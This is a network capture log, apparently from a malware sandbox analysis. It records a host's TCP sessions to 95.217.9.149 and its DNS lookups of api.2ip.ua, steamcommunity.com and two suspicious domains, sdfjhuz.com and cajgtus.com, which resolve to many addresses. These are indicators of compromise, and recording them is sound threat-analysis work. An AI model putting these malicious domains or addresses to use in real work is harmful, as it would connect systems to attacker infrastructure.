Apr 24, 2024 17:37:30.475421906 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.475433111 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.475508928 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.479788065 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.479813099 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.479881048 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.479892969 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.479912996 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.480006933 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.486258984 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.486274958 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.486345053 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.486361980 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.486426115 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.489753008 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.489772081 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.489803076 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.489809036 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.489842892 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.489871025 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.493190050 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.493206978 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.493249893 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.493268967 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.493304014 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.493320942 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.496562958 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.496570110 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.496633053 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.496653080 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.496689081 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.499850988 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.499866009 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.499903917 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.499910116 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.499946117 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.499946117 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.503818035 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.503843069 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.503885984 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.503891945 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.503906012 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.503926992 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.507105112 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.507119894 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.507160902 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.507190943 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.507200956 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.507241011 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.510365009 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.510381937 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.510443926 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.510451078 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.510469913 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.511998892 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.514235973 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.514250994 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.514311075 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.514311075 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.514318943 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.514467955 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.517649889 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.517663956 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.517714977 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.517731905 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.517821074 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.520620108 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.520634890 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.520698071 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.520705938 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.520746946 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.524137974 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.524152040 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.524187088 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.524204016 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.524239063 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.524239063 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.528173923 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.528189898 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.528237104 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.528244019 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.528266907 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.528296947 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.531233072 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.531246901 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.531289101 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.531296968 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.531326056 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.531326056 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.534430981 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.534446001 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.534492016 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.534499884 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.534518003 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.534532070 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.537897110 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.537914038 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.537985086 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.537992954 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.538283110 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.541479111 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.541493893 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.541558981 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.541565895 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.541598082 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.541608095 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.544492960 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.544508934 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.544564009 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.544570923 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.544615030 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.544615030 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.547643900 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.547657967 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.547705889 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.547713041 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.547744036 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.547761917 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.551233053 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.551248074 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.551304102 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.551310062 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.551328897 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.551434994 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.554617882 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.554637909 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.554718018 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.554718018 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.554728031 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.554786921 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.557552099 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.557568073 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.557617903 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.557625055 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.557643890 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.557733059 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.560324907 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.560339928 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.560389042 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.560400009 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.560410976 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.560802937 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.564182043 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.564197063 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.564246893 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.564254999 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.564266920 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.564820051 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.566483974 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.566498041 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.566549063 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.566567898 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.566574097 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.566591978 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.566591978 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.566634893 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.566675901 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.566675901 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.567179918 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.567198038 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.667030096 CEST	49723	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.667069912 CEST	443	49723	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.668175936 CEST	49723	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.668400049 CEST	49723	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.668416023 CEST	443	49723	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:31.325057030 CEST	443	49723	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:31.325200081 CEST	49723	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:31.325898886 CEST	49723	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:31.325907946 CEST	443	49723	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:31.327672958 CEST	49723	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:31.327680111 CEST	443	49723	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:31.327697992 CEST	49723	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:31.327707052 CEST	443	49723	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:31.975903988 CEST	49724	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:31.975945950 CEST	443	49724	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:31.976023912 CEST	49724	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:31.976264000 CEST	49724	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:31.976273060 CEST	443	49724	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:32.362036943 CEST	443	49723	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:32.362112045 CEST	49723	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:32.362118006 CEST	443	49723	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:32.362416029 CEST	49723	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:32.363023996 CEST	49723	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:32.363039017 CEST	443	49723	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:32.631860018 CEST	443	49724	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:32.632030010 CEST	49724	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:33.141943932 CEST	49724	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:44.100873947 CEST	49725	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:44.100915909 CEST	443	49725	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:44.101062059 CEST	49725	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:44.119595051 CEST	49725	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:44.119628906 CEST	443	49725	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:44.448496103 CEST	443	49725	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:44.448561907 CEST	49725	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:44.454399109 CEST	49725	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:44.454410076 CEST	443	49725	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:44.454691887 CEST	443	49725	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:44.454741955 CEST	49725	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:44.459273100 CEST	49725	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:44.500129938 CEST	443	49725	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:45.236305952 CEST	443	49725	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:45.236409903 CEST	443	49725	172.67.139.220	192.168.2.8
Apr 24, 2024 17:37:45.236466885 CEST	49725	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:45.236821890 CEST	49725	443	192.168.2.8	172.67.139.220
Apr 24, 2024 17:37:45.236840010 CEST	443	49725	172.67.139.220	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 24, 2024 17:37:02.741369963 CEST	51635	53	192.168.2.8	1.1.1.1
Apr 24, 2024 17:37:02.908087015 CEST	53	51635	1.1.1.1	192.168.2.8
Apr 24, 2024 17:37:06.709849119 CEST	62765	53	192.168.2.8	1.1.1.1
Apr 24, 2024 17:37:06.710560083 CEST	59174	53	192.168.2.8	1.1.1.1
Apr 24, 2024 17:37:07.721373081 CEST	59174	53	192.168.2.8	1.1.1.1
Apr 24, 2024 17:37:07.721410036 CEST	62765	53	192.168.2.8	1.1.1.1
Apr 24, 2024 17:37:08.737649918 CEST	62765	53	192.168.2.8	1.1.1.1
Apr 24, 2024 17:37:08.737685919 CEST	59174	53	192.168.2.8	1.1.1.1
Apr 24, 2024 17:37:10.599452972 CEST	53	62765	1.1.1.1	192.168.2.8
Apr 24, 2024 17:37:10.599468946 CEST	53	62765	1.1.1.1	192.168.2.8
Apr 24, 2024 17:37:10.599478960 CEST	53	62765	1.1.1.1	192.168.2.8
Apr 24, 2024 17:37:10.736793041 CEST	59174	53	192.168.2.8	1.1.1.1
Apr 24, 2024 17:37:10.765258074 CEST	53	59174	1.1.1.1	192.168.2.8
Apr 24, 2024 17:37:10.765278101 CEST	53	59174	1.1.1.1	192.168.2.8
Apr 24, 2024 17:37:10.765289068 CEST	53	59174	1.1.1.1	192.168.2.8
Apr 24, 2024 17:37:10.890074968 CEST	53	59174	1.1.1.1	192.168.2.8
Apr 24, 2024 17:37:15.362206936 CEST	62226	53	192.168.2.8	1.1.1.1
Apr 24, 2024 17:37:15.516237974 CEST	53	62226	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 24, 2024 17:37:02.741369963 CEST	192.168.2.8	1.1.1.1	0xbe70	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:06.709849119 CEST	192.168.2.8	1.1.1.1	0xe428	Standard query (0)	sdfjhuz.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:06.710560083 CEST	192.168.2.8	1.1.1.1	0x9d3f	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:07.721373081 CEST	192.168.2.8	1.1.1.1	0x9d3f	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:07.721410036 CEST	192.168.2.8	1.1.1.1	0xe428	Standard query (0)	sdfjhuz.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:08.737649918 CEST	192.168.2.8	1.1.1.1	0xe428	Standard query (0)	sdfjhuz.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:08.737685919 CEST	192.168.2.8	1.1.1.1	0x9d3f	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.736793041 CEST	192.168.2.8	1.1.1.1	0x9d3f	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:15.362206936 CEST	192.168.2.8	1.1.1.1	0xb887	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 24, 2024 17:37:02.908087015 CEST	1.1.1.1	192.168.2.8	0xbe70	No error (0)	api.2ip.ua	172.67.139.220	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:02.908087015 CEST	1.1.1.1	192.168.2.8	0xbe70	No error (0)	api.2ip.ua	104.21.65.24	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.599452972 CEST	1.1.1.1	192.168.2.8	0xe428	No error (0)	sdfjhuz.com	186.13.17.220	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.599452972 CEST	1.1.1.1	192.168.2.8	0xe428	No error (0)	sdfjhuz.com	63.143.98.185	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.599452972 CEST	1.1.1.1	192.168.2.8	0xe428	No error (0)	sdfjhuz.com	168.232.87.147	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.599452972 CEST	1.1.1.1	192.168.2.8	0xe428	No error (0)	sdfjhuz.com	187.146.85.61	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.599452972 CEST	1.1.1.1	192.168.2.8	0xe428	No error (0)	sdfjhuz.com	183.100.39.16	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.599452972 CEST	1.1.1.1	192.168.2.8	0xe428	No error (0)	sdfjhuz.com	220.125.3.190	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.599452972 CEST	1.1.1.1	192.168.2.8	0xe428	No error (0)	sdfjhuz.com	109.175.29.39	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.599452972 CEST	1.1.1.1	192.168.2.8	0xe428	No error (0)	sdfjhuz.com	181.197.122.66	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.599452972 CEST	1.1.1.1	192.168.2.8	0xe428	No error (0)	sdfjhuz.com	211.171.233.129	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.599452972 CEST	1.1.1.1	192.168.2.8	0xe428	No error (0)	sdfjhuz.com	92.36.226.66	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.599468946 CEST	1.1.1.1	192.168.2.8	0xe428	No error (0)	sdfjhuz.com	186.13.17.220	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.599468946 CEST	1.1.1.1	192.168.2.8	0xe428	No error (0)	sdfjhuz.com	63.143.98.185	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.599468946 CEST	1.1.1.1	192.168.2.8	0xe428	No error (0)	sdfjhuz.com	168.232.87.147	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.599468946 CEST	1.1.1.1	192.168.2.8	0xe428	No error (0)	sdfjhuz.com	187.146.85.61	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.599468946 CEST	1.1.1.1	192.168.2.8	0xe428	No error (0)	sdfjhuz.com	183.100.39.16	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.599468946 CEST	1.1.1.1	192.168.2.8	0xe428	No error (0)	sdfjhuz.com	220.125.3.190	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.599468946 CEST	1.1.1.1	192.168.2.8	0xe428	No error (0)	sdfjhuz.com	109.175.29.39	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.599468946 CEST	1.1.1.1	192.168.2.8	0xe428	No error (0)	sdfjhuz.com	181.197.122.66	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.599468946 CEST	1.1.1.1	192.168.2.8	0xe428	No error (0)	sdfjhuz.com	211.171.233.129	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.599468946 CEST	1.1.1.1	192.168.2.8	0xe428	No error (0)	sdfjhuz.com	92.36.226.66	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.599478960 CEST	1.1.1.1	192.168.2.8	0xe428	No error (0)	sdfjhuz.com	186.13.17.220	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.599478960 CEST	1.1.1.1	192.168.2.8	0xe428	No error (0)	sdfjhuz.com	63.143.98.185	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.599478960 CEST	1.1.1.1	192.168.2.8	0xe428	No error (0)	sdfjhuz.com	168.232.87.147	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.599478960 CEST	1.1.1.1	192.168.2.8	0xe428	No error (0)	sdfjhuz.com	187.146.85.61	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.599478960 CEST	1.1.1.1	192.168.2.8	0xe428	No error (0)	sdfjhuz.com	183.100.39.16	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.599478960 CEST	1.1.1.1	192.168.2.8	0xe428	No error (0)	sdfjhuz.com	220.125.3.190	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.599478960 CEST	1.1.1.1	192.168.2.8	0xe428	No error (0)	sdfjhuz.com	109.175.29.39	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.599478960 CEST	1.1.1.1	192.168.2.8	0xe428	No error (0)	sdfjhuz.com	181.197.122.66	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.599478960 CEST	1.1.1.1	192.168.2.8	0xe428	No error (0)	sdfjhuz.com	211.171.233.129	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.599478960 CEST	1.1.1.1	192.168.2.8	0xe428	No error (0)	sdfjhuz.com	92.36.226.66	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.765258074 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	186.145.236.18	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.765258074 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	200.45.93.45	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.765258074 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	211.119.84.111	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.765258074 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	46.100.50.5	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.765258074 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	187.146.85.61	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.765258074 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	181.55.190.201	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.765258074 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	179.33.180.97	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.765258074 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	187.156.84.246	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.765258074 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	181.129.118.140	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.765258074 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	123.213.233.131	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.765278101 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	186.145.236.18	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.765278101 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	200.45.93.45	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.765278101 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	211.119.84.111	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.765278101 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	46.100.50.5	A (IP address)	IN (0x0001)	false
Apr 24, 2024 17:37:10.765278101 CEST	1.1.1.1	192.168.2.8	0x9d3f	No error (0)	cajgtus.com	187.146.85.61	A (IP address)	IN (0x0001)	false
